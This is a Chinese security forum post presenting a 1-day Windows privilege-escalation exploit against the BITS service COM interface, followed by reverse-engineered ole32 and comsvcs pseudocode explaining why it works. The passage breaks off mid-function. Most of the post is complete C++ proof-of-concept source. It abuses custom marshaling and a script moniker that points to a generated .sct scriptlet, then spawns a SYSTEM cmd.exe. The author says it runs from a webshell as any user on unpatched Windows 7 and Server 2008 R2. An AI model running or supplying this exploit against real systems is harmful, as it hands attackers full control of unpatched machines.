首页
论坛
课程
招聘
[原创]最新完美1day,又一种新的btis服务com组件漏洞利用方式,成功提权至system
2018-6-25 22:30 10241

[原创]最新完美1day,又一种新的btis服务com组件漏洞利用方式,成功提权至system

2018-6-25 22:30
10241
poc说明:可在未打微软2018年6月份安全补丁的win7x64,server2008r2x64运行,支持webshell模式,支持任意用户运行,运行后获得一个system权限的cmd,提供poc源码和编译后的exe

我的poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关

我的poc源码:
#pragma comment(lib, "shlwapi.lib")

//myguid
GUID IID_Imytestcom = { 0xE80A6EC1, 0x39FB, 0x462A, { 0xA5, 0x6C, 0x41, 0x1E, 0xE9, 0xFC, 0x1A, 0xEB } };
GUID IID_ITMediaControl = { 0xc445dde8, 0x5199, 0x4bc7, { 0x98, 0x07, 0x5f, 0xfb, 0x92, 0xe4, 0x2e, 0x09 } };
//ole32guid
GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_StubMYTestCom = { 0x00020424, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };

GUID IID_IStdIdentity = { 0x0000001b, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IMarshalOptions = { 0X4C1E39E1, 0xE3E3, 0x4296, { 0xAA, 0x86, 0xEC, 0x93, 0x8D, 0x89, 0x6E, 0x92 } };
GUID CLSID_DfMarshal = { 0x0000030B, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//GUID IID_IStdMarshalInfo = { 0x00000018, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} };
//GUID IID_IExternalConnection = { 0x00000019, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} };
//GUID  IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//GUID IID_IProxyManager = { 0x00000008, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID  CLSID_StdWrapper = { 0x00000336, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID  CLSID_StdWrapperNoHeader = { 0x00000350, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID	IID_IObjContext = { 0x051372ae0, 0xcae7, 0x11cf, { 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25 } };
//program


static bstr_t IIDToBSTR(REFIID riid)
{
	LPOLESTR str;
	bstr_t ret = "Unknown";
	if (SUCCEEDED(StringFromIID(riid, &str)))
	{
		ret = str;
		CoTaskMemFree(str);
	}
	return ret;
}


typedef   HRESULT(__stdcall *CoCreateObjectInContext)(IUnknown *pServer, IUnknown *pCtx, _GUID *riid, void **ppv);
typedef HRESULT(__stdcall *CreateProxyFromTypeInfo)(ITypeInfo* pTypeInfo, IUnknown* pUnkOuter, REFIID riid, IRpcProxyBuffer** ppProxy, void** ppv);
typedef HRESULT(__stdcall *CreateStubFromTypeInfo)(ITypeInfo* pTypeInfo, REFIID riid, IUnknown* pUnkServer, IRpcStubBuffer** ppStub);




DEFINE_GUID(IID_ISecurityCallContext, 0xcafc823e, 0xb441, 0x11d1, 0xb8, 0x2b, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a);
DEFINE_GUID(IID_IObjectContext, 0x51372ae0, 0xcae7, 0x11cf, 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25);
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));




class CMarshaller : public IMarshal
{
	LONG _ref_count;
	IUnknown * _unk;

	~CMarshaller() {}

public:

	CMarshaller(IUnknown * unk) : _ref_count(1)
	{
		_unk = unk;

	}


	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{

		*ppvObject = nullptr;
		printf("QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		printf("Queried Success: %p\n", *ppvObject);
		((IUnknown *)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{

		printf("AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{

		printf("Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			printf("Release object %p\n", this);
			delete this;
		}
		return ret;
	}



	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{

		//CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", pCid);
		printf("Call:  GetUnmarshalClass\n");
		GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
		*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
		return S_OK;
	}
	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{

		printf("Marshal marshalInterceptorGUID Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
		printf("Call:  MarshalInterface\n");
		ULONG written = 0;
		HRESULT hr = 0;
		IMonikerPtr scriptMoniker;
		IMonikerPtr newMoniker;
		IBindCtxPtr context;
		GUID compositeMonikerGUID = { 0x00000309, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
		UINT header[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
		UINT monikers[] = { 0x02, 0x00, 0x00, 0x00 };
		GUID newMonikerGUID = { 0xecabafc6, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } };
		pStm->Write(header, 12, &written);
		pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
		pStm->Write(monikers, 4, &written);
		pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
		pStm->Write(monikers, 4, &written);
		hr = CreateBindCtx(0, &context);
		ULONG cchEaten;		
		//导致最终结果的scriptMoniker
		hr = MkParseDisplayName(context,  GetExeDirMarshal() + L"\\run.sct", &cchEaten, &scriptMoniker);
		hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
		hr = OleSaveToStream(scriptMoniker, pStm);
		hr = OleSaveToStream(newMoniker, pStm);
		return hr;

	}
	bstr_t GetExeDirMarshal()
	{
		WCHAR curr_path[MAX_PATH] = { 0 };
		GetModuleFileName(nullptr, curr_path, MAX_PATH);
		PathRemoveFileSpec(curr_path);

		return curr_path;
	}
	unsigned char const* GuidToByteArray(GUID const& g)
	{
		return reinterpret_cast<unsigned char const*>(&g);
	}
	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};







class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
	HANDLE m_ptoken;
	LONG m_lRefCount;
	IUnknown *_umk;
	~FakeObject() {};

public:
	//Constructor, Destructor
	FakeObject(IUnknown *umk) {
		_umk = umk;
		m_lRefCount = 1;

	}

	//IUnknown
	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
	{


		printf("QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
		if (riid == __uuidof(IUnknown))
		{
			printf("Query for IUnknown\n");
			*ppvObj = this;
		}
		else if (riid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Query for IBackgroundCopyCallback2\n");

		}
		else if (riid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Query for IBackgroundCopyCallback\n");

		}
		else if (riid == __uuidof(IPersist))
		{
			printf("Query for IPersist\n");
			*ppvObj = static_cast<IPersist*>(this);
			//*ppvObj = _unk2;
		}
		else if (riid == IID_ITMediaControl)
		{
			printf("Query for ITMediaControl\n");
			*ppvObj = static_cast<IPersist*>(this);
			//*ppvObj = this;

		}
		else if (riid == CLSID_AggStdMarshal2)
		{
			printf("Query for CLSID_AggStdMarshal2\n");
			*ppvObj = (this);
		}
		else if (riid == IID_IMarshal)
		{
			printf("Query for IID_IMarshal\n");
			//*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);


			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		else if (riid == IID_IMarshalOptions)
		{
			printf("PrivateTarProxy IID_IMarshalOptions  IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);



			ppvObj = NULL;

			return E_NOINTERFACE;




		}
		else
		{
			printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		((IUnknown *)*ppvObj)->AddRef();
		return NOERROR;
	}

	ULONG __stdcall AddRef()
	{
		return InterlockedIncrement(&m_lRefCount);
	}

	ULONG __stdcall Release()
	{
		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

		if (0 == ulCount)
		{
			delete this;
		}

		return ulCount;
	}

	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
	{
		printf("JobTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE JobError(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
	{
		printf("JobError\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE JobModification(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ DWORD dwReserved)
	{
		printf("JobModification\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
	{
		printf("FileTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetClassID(
		/* [out] */ __RPC__out CLSID *pClassID)
	{
		printf("GetClassID\n");


		*pClassID = GUID_NULL;

		return S_OK;
	}
};


class ScopedHandle
{
	HANDLE _h;
public:
	ScopedHandle() : _h(nullptr)
	{
	}

	ScopedHandle(ScopedHandle&) = delete;

	ScopedHandle(ScopedHandle&& h) {
		_h = h._h;
		h._h = nullptr;
	}

	~ScopedHandle()
	{
		if (!invalid())
		{
			CloseHandle(_h);
			_h = nullptr;
		}
	}

	bool invalid() {
		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
	}

	void set(HANDLE h)
	{
		_h = h;
	}

	HANDLE get()
	{
		return _h;
	}

	HANDLE* ptr()
	{
		return &_h;
	}


};



_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));

void TestBits(HANDLE hEvent)
{
	IBackgroundCopyManagerPtr pQueueMgr;
	IID CLSID_BackgroundCopyManager;
	IID IID_IBackgroundCopyManager;
	CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
	CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);

	HRESULT	hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
		CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);

	IUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr)));
	IUnknown * pInner;

	CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);

	IBackgroundCopyJobPtr pJob;
	GUID guidJob;

	IEnumBackgroundCopyJobsPtr enumjobs;
	hr = pQueueMgr->EnumJobsW(0, &enumjobs);
	if (SUCCEEDED(hr))
	{
		IBackgroundCopyJob* currjob;
		ULONG fetched = 0;

		while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
		{
			LPWSTR lpStr;
			if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
			{
				if (wcscmp(lpStr, L"BitsAuthSample") == 0)
				{
					CoTaskMemFree(lpStr);
					currjob->Cancel();
					currjob->Release();
					break;
				}
			}
			currjob->Release();
		}
	}


	pQueueMgr->CreateJob(L"BitsAuthSample",
		BG_JOB_TYPE_DOWNLOAD,
		&guidJob,
		&pJob);



	IUnknownPtr pNotify;


	pNotify.Attach(new CMarshaller(pInner));
	{

		//ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
		HRESULT hr = pJob->SetNotifyInterface(pNotify);
		printf("Result: %08X\n", hr);

	}
	if (pJob)
	{
		pJob->Cancel();
	}

	printf("Done\n");
	SetEvent(hEvent);
}



bstr_t GetExeDir()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	PathRemoveFileSpec(curr_path);

	return curr_path;
}


void WriteFile(bstr_t path, const std::vector<BYTE> data)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}

	if (data.size() > 0)
	{
		DWORD bytes_written;
		if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
		{
			throw _com_error(E_FAIL);
		}
	}



}

void WriteFile(bstr_t path, const char* data)
{
	const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
	std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
	WriteFile(path, data_buf);
}

std::vector<BYTE> ReadFile(bstr_t path)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}
	DWORD size = GetFileSize(hFile.get(), nullptr);
	std::vector<BYTE> ret(size);
	if (size > 0)
	{
		DWORD bytes_read;
		if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
		{
			throw _com_error(E_FAIL);
		}
	}

	return ret;
}


bstr_t GetExe()
{
	WCHAR curr_path[MAX_PATH] = { 0 };
	GetModuleFileName(nullptr, curr_path, MAX_PATH);
	return curr_path;
}



const wchar_t x[] = L"ABC";

const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n  new ActiveXObject('Wscript.Shell').exec('";

const wchar_t scriptlet_end[] = L"');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n";

bstr_t CreateScriptletFile()
{
	bstr_t script_file = GetExeDir() + L"\\run.sct";
	DeleteFile(script_file);
	bstr_t script_data = scriptlet_start;
	bstr_t exe_file = GetExe();
	wchar_t* p = exe_file;
	while (*p)
	{
		if (*p == '\\')
		{
			*p = '/';
		}
		p++;
	}

	DWORD session_id;
	ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
	WCHAR session_str[16];
	StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);

	script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;

	WriteFile(script_file, script_data);

	return script_file;
}

void CreateNewProcess(const wchar_t* session)
{
	DWORD session_id = wcstoul(session, nullptr, 0);
	ScopedHandle token;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	ScopedHandle new_token;

	if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));

	STARTUPINFO start_info = {};
	start_info.cb = sizeof(start_info);
	start_info.lpDesktop = L"WinSta0\\Default";
	PROCESS_INFORMATION proc_info;
	WCHAR cmdline[] = L"cmd.exe";
	if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
		nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
	{
		CloseHandle(proc_info.hProcess);
		CloseHandle(proc_info.hThread);
	}
}





const LPCOLESTR Tapi3tlb_path = L"C:\\dl\\cve\\Windows\\System32\\tapi3.dll";
int _tmain(int argc, _TCHAR* argv[])
{
	try
	{

		CreateScriptletFile();
		if (argc > 1)
		{
			CreateNewProcess(argv[1]);
		}
		else
		{
			HANDLE	hTokenTmp = 0;
			HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
			HRESULT hr = 0;
			hr = CoInitialize(NULL);


			hr = CoInitializeSecurity(
				NULL,
				-1,
				NULL,
				NULL,
				RPC_C_AUTHN_LEVEL_CONNECT,
				RPC_C_IMP_LEVEL_IMPERSONATE,
				NULL,
				EOAC_DYNAMIC_CLOAKING | 8,
				NULL);
			if (FAILED(hr))
			{
				return false;
			}


			TestBits(hEvent);

			char szInput[64];
			scanf_s("%[a-z0-9]", szInput);
			CloseHandle(hEvent);
		}
	}
	catch (const _com_error& err)
	{
		printf("Error: %ls\n", err.ErrorMessage());
	}
	CoUninitialize();//释放COM
	return 0;
}
poc原理:在windows下有个以system权限运行的Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口,我的利用方式是,在poc中创建的类[CMarshaller],也就是SetNotifyInterface接口的参数Interface(远程com对象),因为这个类继承了IMarshal接口,bits为了获得这个Interface,bits最终会Unmarshal通过调用CoUnmarshalInterface

前段部分介绍com组件的marshal原理有com基础的可以略过

先看CoUnmarshalInterface逆向结果:
HRESULT __stdcall CoUnmarshalInterface(LPSTREAM pStm, const IID *const riid, IUnknown *ppv)
{
  HRESULT result; // eax
  CStdIdentity *hrTemp; // edi
  IUnknown *v5; // esi
  tagOBJREF objref; // [esp+14h] [ebp-5Ch]

  if ( !pStm || !ppv )
    return -2147024809;
  ppv->vfptr = 0;
  //先检查marshaler的Channe是不是建立
  result = InitChannelIfNecessary();
  if ( result >= 0 )
  {
    hrTemp = (CStdIdentity *)ReadObjRef(pStm, &objref);
    if ( (signed int)hrTemp >= 0 )
    {
	  //先获取用来UnmarshalInterface的com对象(Unmarshaler),这里我使用的是自定义CustomUnmarshaler     
      JUMPOUT(objref.flags & 4, 0, &CallGetCustomUnmarshaler);
      // 这里传进去bypass还是0,根据之前CallGetCustomUnmarshaler获得的Unmarshaler
      hrTemp = UnmarshalObjRef(&objref, (void **)&ppv->vfptr, 0, 0);
      FreeObjRef(&objref);
      if ( !InlineIsEqualGUID((_GUID *)riid, &GUID_NULL)
	  //objref中就包含当前要Unmarshale的UnmarshalClassID=objref.iid
        && !InlineIsEqualGUID((_GUID *)riid, &objref.iid)
        && (signed int)hrTemp >= 0 )
      {
        v5 = (IUnknown *)ppv->vfptr;
        hrTemp = (CStdIdentity *)(*ppv->vfptr->QueryInterface)(ppv->vfptr, riid, ppv);
        ((void (__stdcall *)(IUnknown *))v5->vfptr->Release)(v5);
      }
    }
    result = (HRESULT)hrTemp;
  }
  return result;
}
如果调用远程com对象QueryInterface得到他支持IMarshal接口,也就是返回HRESULT=S_OK后
首先调用IMarshal接口GetUnmarshalClass方法获取类的
UnmarshalClassID,看看是不是几种ole32自带的UnmarshalClassID如果不是根据UnmarshalClassID调用CoCreateInstance创建对应的com对象来unmarshal,这个com对象必须支持IMarshal接口,然后调用这个com对象的UnmarshalInterface方法;
我的POC返回[CLSID_QCMarshalInterceptor],也就是CMarshalInterceptor类的CLSID,这是bits服务会在自己进程创建中[CMarshalInterceptor]对应的实例,并用这个实例来UnmarshalInterface根据Stream中的数据包,
HRESULT __stdcall GetCustomUnmarshaler(_GUID *rclsid, IStream *pStm, IMarshal **ppIM)
{
  if ( InlineIsEqualGUID(&CLSID_StdWrapper, rclsid) || InlineIsEqualGUID(&CLSID_StdWrapperNoHeader, rclsid) )
    return GetStaticWrapper(ppIM);
  JUMPOUT(InlineIsEqualGUID(&CLSID_InProcFreeMarshaler, rclsid), 0, &loc_725CF958);
  if ( InlineIsEqualGUID(&CLSID_ContextMarshaler, rclsid) )
    return GetStaticContextUnmarshal(ppIM);
  if ( InlineIsEqualGUID(&CLSID_AggStdMarshal, rclsid) )
    return FindAggStdMarshal(pStm, ppIM);
	//如果是自定义Unmarshal创建实例来UnmarshalInterface根据Stream中的数据包
  return CoCreateInstance(rclsid, 0, (gCapabilities & 0x2000 | 0x806) >> 1, &IID_IMarshal, (LPVOID *)ppIM);
}
默认以标准marshal方式,Com组件默认的标准Marshal的就是CStdIdentity继承的类CStdMarshal来Unmarshal,获得的UnmarshalCLSID是CLSID_StdMarshal或CLSID_StdWrapperNoHeader或CLSID_AggStdMarshal,
HRESULT __stdcall CStdMarshal::GetUnmarshalClass(CStdMarshal *this, _GUID *riid, void *pv, unsigned int dwDestCtx, void *pvDestCtx, unsigned int mshlflags, _GUID *pClsid)
{
  GUID *v7; // esi
  unsigned __int16 *v8; // esi
//MSHCTX_INPROC =3进程内marshal 或 MSHCTX_CROSSCTX =4同进程不同套间(CObjectContext不同)模式,不支持标准marshal           
  if ( ~(unsigned __int8)this->_dwFlags & 1 && dwDestCtx == 4 && !(mshlflags & 2)
    || ~(unsigned __int8)this->_dwFlags & 1 && dwDestCtx == 3 && IsThreadInNTA() && !(mshlflags & 2) )
  {
    v7 = &CLSID_StdWrapperNoHeader;
  }
  else
  {
   //这2种都是标准marshal      
   //第一种聚合marshal 
    v7 = &CLSID_AggStdMarshal;
    if ( !(this->_dwFlags & 0x1000) )
	  //第二种聚合的标准marshal
      v7 = &CLSID_StdMarshal;
  }
    pClsid->Data1 = v7->Data1;
  v8 = &v7->Data2;
  *(_DWORD *)&pClsid->Data2 = *(_DWORD *)v8;
  v8 += 2;
  *(_DWORD *)pClsid->Data4 = *(_DWORD *)v8;
  *(_DWORD *)&pClsid->Data4[4] = *((_DWORD *)v8 + 1);
  return 0;
}
//UnmarshalObjRef是CStdIdentity继承的类CStdMarshal的也就是默认的标准Unmarshal方式
CStdIdentity *__stdcall UnmarshalObjRef(tagOBJREF *objref, void **ppv, int fBypassActLock, CStdMarshal **ppStdMarshal)
{
  HRESULT hrTemp; // eax
  CObjectContext *canCallServerCtx; // eax
  tagOBJREF *objrefTemp; // edi
  CStdIdentity *hrFinal; // esi
  CStdMarshal *CStdMarshalRef; // esi
  CStdIdentity *stdity; // eax
  void **ppvRef; // edi
  tagStdUnmarshalData StdData; // [esp+Ch] [ebp-1Ch]
  int fLightNAProxy; // [esp+24h] [ebp-4h]

  objrefTemp = objref;
  // fLightNAProxy=1就是crossctx,0就是sameapt
  fLightNAProxy = CrossAptRefToNA(objref);
  hrFinal = FindStdMarshal(objrefTemp, 0, (CStdMarshal **)&objref, fLightNAProxy);
  if ( (signed int)hrFinal < 0 )
  {
    // cPublicRefs引用如果大于0,就减少引用
    if ( objrefTemp->u_objref.u_standard.std.cPublicRefs )
      ReleaseMarshalObjRef(objrefTemp);
  }
  else
  {
    CStdMarshalRef = (CStdMarshal *)objref;
    stdity = *(CStdIdentity **)objref->iid.Data4;
    StdData.pobjref = objrefTemp;
    ppvRef = ppv;
    StdData.pStdID = stdity;
    StdData.ppv = ppv;
    StdData.pClientCtx = GetCurrentContext();
    if ( ppStdMarshal )
    {
      *ppStdMarshal = CStdMarshalRef;
      CStdMarshalRef->_selfMyMarshal._SelfMarshalVtbl->AddRef((IUnknown *)CStdMarshalRef);
    }
    // 里面是判断crossctx,里面ctx是不是不同
    canCallServerCtx = CStdMarshal::ServerObjectCallable(CStdMarshalRef);
    if ( canCallServerCtx )
    {
	  //创建CStdWrapper包装自己
      StdData.fCreateWrapper = ppvRef != 0;
      // CStdMarshal::UnmarshalObjRef调用类型不同CStdMarshal模式中fBypassActLock为0就是false,传入的默认就是0
      if ( fBypassActLock )
        hrTemp = PerformCallback(
                   canCallServerCtx,
                   (HRESULT (__stdcall *)(void *))UnmarshalSwitch,
                   &StdData,
                   &IID_IEnterActivityWithNoLock,
                   2u,
                   0);
      else
        hrTemp = PerformCallback(
                   canCallServerCtx,
                   (HRESULT (__stdcall *)(void *))UnmarshalSwitch,
                   &StdData,
                   &IID_IMarshal,
                   6u,
                   0);
    }
    else
    {
      StdData.fCreateWrapper = fLightNAProxy;
      // 最终都是调用CStdMarshal::UnmarshalObjRef
      hrTemp = UnmarshalSwitch(&StdData);
    }
    hrFinal = (CStdIdentity *)hrTemp;
  }
  return hrFinal;
}

//后段部分介绍导致poc结果执行的真正原因:
下面看下CMarshalInterceptor::UnmarshalInterface的逆向结果,首先判断数据包头和CLSID也就是CLSID_QCMarshalInterceptor
我做的结构UnmarshalInterface需要读出的头结构
struct MarshalInterceptorHeader
{
  __int16 headersig;
  __int16 headData;
  __int32 headData2;
  __int32 headData3;
  IID *BuffIID;
};

union CutomMarshalInterceptorHeader
{
  MarshalInterceptorHeader my_Head;
  _GUID GUID_Head;
};
逆向结果代码:
HRESULT __userpurge CMarshalInterceptor::UnmarshalInterface( CMarshalInterceptor *this, LPSTREAM pStm, const struct _GUID *clsidFrom, void **ppv)
{
  HRESULT result; // eax
  int v6; // esi
  int v8; // [esp+4h] [ebp-50h]
  __int16 v9; // [esp+8h] [ebp-4Ch] MAPDST
  int v10; // [esp+Ch] [ebp-48h]
  const wchar_t *v11; // [esp+10h] [ebp-44h]
  IID *v12; // [esp+14h] [ebp-40h]
  int v13; // [esp+18h] [ebp-3Ch]
  int v14; // [esp+1Ch] [ebp-38h]
  int v15; // [esp+20h] [ebp-34h]
  IPersistStream *IPersistStreamPPvRet; // [esp+2Ch] [ebp-28h]
  CutomMarshalInterceptorHeader Header_Clsid; // [esp+30h] [ebp-24h]

  *ppv = 0;
  if ( !pStm )
    return -2147024809;
  Header_Clsid.my_Head.headersig = 0;
  //先把第1个字节设为0
  Header_Clsid.my_Head.headersig = 0; 
  memset(&Header_Clsid.my_Head.headData, 0, 0x1Cu);
  v9 = 0;
   //再读取12+16=26到Header_Clsid,前12位为sighead,后16位为CLSID=BuffIID
  result = CMkUtil::Read(pStm, &Header_Clsid, 0x20u);
  if ( result >= 0 )
  {
    if ( Header_Clsid.my_Head.headersig )
    {
      v14 = 0;
      v9 = 37;
      v11 = L"Version";
      v8 = -2147467259;
      v10 = -1073605911;
      v12 = (IID *)&Header_Clsid;
      v13 = 32;
      v15 = 1;
	   //失败记录日志
      CError::WriteToLog(
        (CError *)&v8,
        L"d:\\w7rtm\\com\\complus\\src\\comsvcs\\qc\\marshalinterceptor\\marshalinterceptor.cpp",
        0x247u,
